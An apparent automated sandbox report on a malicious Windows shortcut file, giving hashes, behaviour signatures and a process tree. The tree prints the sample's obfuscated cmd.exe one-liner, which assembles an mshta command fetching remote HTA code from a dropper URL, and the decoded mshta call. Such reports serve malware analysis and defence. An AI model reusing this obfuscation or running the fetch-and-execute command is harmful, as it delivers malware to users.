Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:21

General

  • Target
    DOC-O9WNB0.lnk
  • Size 2KB
  • Sample260804-j9gcbaveld
  • SHA256 79554bed4aeb3e574bc86d241bf9246caaf10ddf03c7a192f2799d42c2d5c3db
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-O9WNB0.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4060
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set xkQ=infizntrvdtvinf&&set lc=loggthzjgmvzegvlog&&set jL=datyfbqovmwidat&&set dtd=bakkgcetqpsebak&&set dXNFn=loglrjaoggnygvrfdakclog&&set RFo=cachehzwcntcache&&set tDCl=fxymst&&set dWBg=g5htu&&set CJA=mwrar0g&&set YKj=l9staz&&set hee=6crtt&&set uN=cfgjzickthmkdiexetcfg&&set MDOy=h@ttps://m@a-@p@dff@[email protected]/h/es@t@agi@[email protected]@p@?r@=3@9146@9FB@5D82D@B&&start /b !tDCl:~3,2!!dWBg:~2,2!!CJA:~3,1! !MDOy:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4364

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads